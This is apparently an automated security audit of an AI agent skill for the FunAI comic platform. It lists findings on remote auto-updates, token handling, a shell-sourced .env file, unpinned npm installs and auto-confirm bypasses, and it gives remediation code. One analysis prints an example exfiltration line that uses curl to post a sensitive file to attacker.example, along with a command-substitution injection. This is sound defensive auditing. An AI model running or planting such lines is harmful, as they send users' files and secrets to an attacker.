Back to skill

Security audit

Funai-skill

Security checks for vulnerabilities and agentic risk

Overview

This skill matches its stated FunAI creation purpose, but it asks agents to auto-update from mutable remote metadata and handles the user's API token in unsafe ways.

Review before installing. Only use this skill if you trust the publisher and the remote update endpoint, are comfortable storing a FunAI token locally, and can avoid raw absolute-URL API calls. Prefer disabling automatic skill updates, keeping the token out of project files or locking down config/.env permissions, and rotating the token if it may have been exposed.

Vulnerability Patterns
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Insecure DependenciesIntroduces malicious components through unsafe dependency sources
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
Findings (4)

T03 · Remote Payload Retrieval and Execution

Error
Location
SKILL.md:30
Finding

Remote Metadata Controls Mandatory Skill Installation and Updates

Content
View full analysis
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
scripts/api-client.sh:115
Finding

FunAI Authorization Token Can Be Forwarded to an Arbitrary URL

Content
View full analysis
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
scripts/api-client.sh:45
Finding

Credential Configuration File Is Executed as Shell Code

Content
View full analysis
&2 echo "请执行以下步骤:" >&2 echo " 1. cp $SKILL_DIR/config/.env.example $CONFIG_FILE" >&2 echo " 2. 编辑 $CONFIG_FILE 填入您的 Token" >&2 exit 1 fi if python3 - "$CONFIG_FILE" <<'PY' from pathlib import Path import re import sys text = Path(sys.argv[1]).read_text(encoding='utf-8', errors='ignore') pattern = re.compile(r'^\s*AIFUN_TOKEN\s*=\s*["\']?[Bb]earer\s+.+$', re.MULTILINE) raise SystemExit(0 if pattern.search(text) else 1) PY then echo -e "${RED}错误: 配置文件里的 AIFUN_TOKEN 不能写成 Bearer 前缀形式${NC}" >&2 echo "正确写法: AIFUN_TOKEN=eyJ..." >&2 echo "错误写法: AIFUN_TOKEN=Bearer eyJ..." >&2 echo "橙星梦工厂接口要求的请求头格式是: authorization: " >&2 exit 1 fi # shellcheck source=/dev/null source "$CONFIG_FILE" if [ -z "${AIFUN_TOKEN:-}" ] || [ "$AIFUN_TOKEN" = "your_token_here" ]; then echo -e "${RED}错误: 请在配置文件中设置 AIFUN_TOKEN${NC}" >&2 echo "配置文件路径: $CONFIG_FILE" >&2 exit 1 fi ``` ### Technical Analysis The `.env` file is intended to hold a token, but `source "$CONFIG_FILE"` asks Bash to interpret the entire file as executable shell syntax. The preceding Python check only detects a token with an unwanted `Bearer` prefix. It does not restrict the file to one assignment and does not reject command substitutions, function definitions, redirections, shell commands, or additional variable assignments. For example, a configuration containing the following remains executable: ```bash AIFUN_TOKEN=valid-token curl -d @/path/to/sensitive-file https://attacker.example/upload ``` Command substitution inside an assignment would also execute: ```bash AIFUN_TOKEN="$(malicious-command)" ``` Because `main` calls `loa ...[truncated 1001 chars]
Remediation
View remediation
``` 3. Reject unknown keys, duplicate assignments, multiline values, command substitutions, quotes requiring shell evaluation, backticks, semicolons, redirections, and control operators. 4. A safer implementation can read the value with Python and return it as data: ```python import re value = None for line in open(path, encoding="utf-8"): line = line.strip() if not line or line.startswith("#"): continue match = re.fullmatch(r"AIFUN_TOKEN=([A-Za-z0-9._~-]+)", line) if not match or value is not None: raise SystemExit("invalid configuration") value = match.group(1) ``` 5. Pass the parsed token back without evaluating it as shell syntax. 6. Require restrictive file permissions, such as mode `0600`, and warn or fail when the file is group- or world-readable. 7. Prefer an operating-system credential store or runtime environment variable over a plaintext project file. ]]>

T08 · Insecure Dependencies

Warning
Location
CLAWHUB_PUBLISH_GUIDE.md:44
Finding

Publishing Guide Installs an Unpinned Global npm Package

Content
View full analysis
Remediation
View remediation
``` 2. Document the expected package digest, provenance, and official publisher identity. 3. Prefer a project-local, lockfile-controlled installation rather than a global package. 4. Use npm lockfiles with integrity metadata where practical. 5. Verify registry provenance or signed attestations before installation. 6. Consider disabling lifecycle scripts during initial retrieval: ```bash npm install --ignore-scripts ... ``` Then inspect the package before enabling any required setup. 7. Avoid recommending elevated installation privileges. 8. Establish a controlled update procedure so maintainers do not automatically consume the latest release. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Rogue AgentSelf-Modification, Session Persistence
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
Findings (49)

Self-Modification

High
Category
Rogue Agent
Confidence
85% confidence
Finding

Skill modifies its own code, configuration, or behavior at runtime. Self-modification enables an agent to escalate privileges, disable safety constraints, or install persistent backdoors.

Content

Scanner excerpt · CLAWHUB_PUBLISH_GUIDE.md (reported line 356)May include surrounding context.

把版本号和 changelog 改掉即可:

bash
clawhub publish "/Users/lvke/Desktop/Funai-skill" --slug funai-skill --name "Funai-skill" --version 1.0.7 --changelog "Update skill instructions and resources" --tags latest

搜索模板

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding

声明描述强调的是一个面向橙星梦工厂平台的对话式制作工具,核心能力包括创建项目、配置剧本、生成角色/分镜/视频、查询任务状态。实际代码则是一个离线批处理示例脚本,主要用于获取项目对应的 storyboard,汇总 scene 与 prompt 信息,并批量下载 scene 图片到本地目录以便审查。虽然代码确实与橙星梦工厂项目数据/API 相关,属于同一平台生态,但其主要功能并非声明中的“创作/生成/项目配置”,而是“分镜审查与图片导出”。此外,下载图片到本地文件系统是声明中未体现的能力。因此存在明显的描述与行为不一致。

Content

No source excerpt is available for this finding.

Missing User Warnings

High
Category
Not specified by scanner
Confidence
97% confidence
Finding

The skill instructs the agent to fetch remote metadata and automatically install or update itself before performing operations. This is a supply-chain risk: a compromised remote endpoint or package URL could cause unreviewed code or instructions to be introduced into the agent workflow without informed user consent.

Content

No source excerpt is available for this finding.

Credential Access

High
Category
Privilege Escalation
Confidence
95% confidence
Finding

The instructions explicitly involve creating a .env file to hold an API token, which is direct credential material handling. Plaintext secret storage in project files is dangerous because secrets may be exposed to other tools, accidental commits, local users, or support/debug workflows.

Content

Scanner excerpt · SKILL.md (reported line 56)May include surrounding context.

2. 配置 Token

bash
cp config/.env.example config/.env
# 编辑 config/.env
# AIFUN_TOKEN=...

Credential Access

High
Category
Privilege Escalation
Confidence
95% confidence
Finding

The skill shows the token value being placed into a configuration file field, reinforcing a workflow that persists sensitive credentials in plaintext. In an agent environment with file and shell capabilities, this materially raises the likelihood of unauthorized disclosure or reuse.

Content

Scanner excerpt · SKILL.md (reported line 57)May include surrounding context.

bash
cp config/.env.example config/.env
# 编辑 config/.env
# AIFUN_TOKEN=...

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 64)May include surrounding context.

md
./scripts/api-client.sh setup-check

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 65)May include surrounding context.

md
./scripts/api-client.sh setup-check

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 795)May include surrounding context.

md
./scripts/api-client.sh setup-check

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 71)May include surrounding context.

md
./examples/create-comic.sh

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 796)May include surrounding context.

md
./examples/create-comic.sh

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · config/README.md (reported line 46)May include surrounding context.

推荐初始化步骤

bash
cp config/.env.example config/.env
# 编辑 config/.env,填入 AIFUN_TOKEN
bash scripts/api-client.sh setup-check
./scripts/api-client.sh check

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · config/README.md (reported line 159)May include surrounding context.

推荐初始化步骤

bash
cp config/.env.example config/.env
# 编辑 config/.env,填入 AIFUN_TOKEN
bash scripts/api-client.sh setup-check
./scripts/api-client.sh check

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · config/README.md (reported line 303)May include surrounding context.

推荐初始化步骤

bash
cp config/.env.example config/.env
# 编辑 config/.env,填入 AIFUN_TOKEN
bash scripts/api-client.sh setup-check
./scripts/api-client.sh check

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · config/README.md (reported line 319)May include surrounding context.

推荐初始化步骤

bash
cp config/.env.example config/.env
# 编辑 config/.env,填入 AIFUN_TOKEN
bash scripts/api-client.sh setup-check
./scripts/api-client.sh check

Credential Access

High
Category
Privilege Escalation
Confidence
97% confidence
Finding

The README states that config/.env is directly sourced by a shell script. If an attacker can modify that file, any shell syntax, command substitution, or injected commands in .env will execute with the privileges of the user running the script, turning a credential file into a code execution surface.

Content

Scanner excerpt · config/README.md (reported line 127)May include surrounding context.

scripts/api-client.sh 不是按 dotenv 语义做“纯文本解析”,而是直接:

bash
source config/.env

因此:

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/api-client.sh (reported line 15)May include surrounding context.

sh
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
SKILL_DIR="$(dirname "$SCRIPT_DIR")"
CONFIG_FILE="$SKILL_DIR/config/.env"
VERSION_FILE="$SKILL_DIR/VERSION"
BASE_URL="https://ai.fun.tv/service/workflow"
PROJECT_LINK_PREFIX="https://ai.fun.tv/#/comic/multiple?projectId="

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
90% confidence
Finding

The skill declares no explicit tool scope while its instructions clearly require network access, file reads, environment access, and shell execution. This creates an over-privileged, under-documented skill boundary, increasing the chance an agent will use sensitive capabilities without clear authorization constraints.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

The skill directs the agent to collect a user token and write it into a local configuration file, but does not require secure storage, minimization, or a warning about credential handling. This increases the risk of token leakage through filesystem exposure, logs, backups, or later unintended file reads.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
84% confidence
Finding

The skill content consistently directs agent behavior and user-facing outputs entirely in Chinese, with no indication that users may choose another language. Under the policy, forcing a specific language without user opt-in is a natural-language policy concern unless the locale restriction is explicitly justified.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
94% confidence
Finding

The skill metadata and prompt content are written to drive Chinese-language interaction and fixed phrasing without checking the user's language preference. If auto-invoked for a user operating in another language, it can degrade informed consent, cause misunderstandings during step-by-step confirmations, and increase the chance of incorrect actions on an external content-generation platform.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
89% confidence
Finding

The default prompt is a highly generic operational request to create an AI comic project on the FunAI platform, which can overlap with ordinary user intents about video/comic creation and API usage. This broad trigger scope can cause unintended skill invocation, leading the agent to apply this skill's prescriptive workflow, platform-specific actions, and defaults when the user did not explicitly request this integration.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
96% confidence
Finding

Multiple user-visible strings, including error, usage, status, and recommendation messages, are written only in Chinese. This creates a language policy concern because the script does not provide language selection, fallback behavior, or a documented reason for restricting output to a single locale.

Content

No source excerpt is available for this finding.

Autonomous Decision Making

Medium
Category
Excessive Agency
Confidence
88% confidence
Finding

The script supports unattended execution via AUTO_CONFIRM, allowing it to bypass manual checkpoints and continue creating projects, submitting content, and initiating downstream processing. In this skill context, that increases the chance of unintended or unauthorized billable actions and reduces human review before state-changing API calls.

Content

Scanner excerpt · examples/create-comic.sh (reported line 14)May include surrounding context.

sh
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
source "$SCRIPT_DIR/../scripts/api-client.sh"

AUTO_CONFIRM="${AUTO_CONFIRM:-}"

NOVEL_CONTENT='清晨,城市公园的林荫道上还带着尚未散尽的薄雾,年轻人林舟沿着青石板路缓缓慢跑。阳光穿过高大的树冠,在路面上投下细碎而温暖的光影,周围的一切都显得安静而清新。

Autonomous Decision Making

Medium
Category
Excessive Agency
Confidence
93% confidence
Finding

At this checkpoint the script treats AUTO_CONFIRM=YES as approval to skip user review and proceed automatically. Because prior steps already submit project/script data and later steps trigger more processing, this weakens consent and operational safeguards around API-driven actions.

Content

Scanner excerpt · examples/create-comic.sh (reported line 37)May include surrounding context.

sh
echo -e "${YELLOW}--- ${checkpoint_name}确认 ---${NC}"
  echo "$modify_hint"

  if [ "$AUTO_CONFIRM" = "YES" ]; then
    echo "AUTO_CONFIRM=YES,自动确认继续。"
    return 0
  fi

Autonomous Decision Making

Medium
Category
Excessive Agency
Confidence
93% confidence
Finding

This line implements automatic continuation when AUTO_CONFIRM is set, effectively nullifying the manual approval control. In the context of a media-generation platform, that can cause unwanted progression through content-generation stages without a human validating inputs or outputs.

Content

Scanner excerpt · examples/create-comic.sh (reported line 38)May include surrounding context.

sh
echo "$modify_hint"

  if [ "$AUTO_CONFIRM" = "YES" ]; then
    echo "AUTO_CONFIRM=YES,自动确认继续。"
    return 0
  fi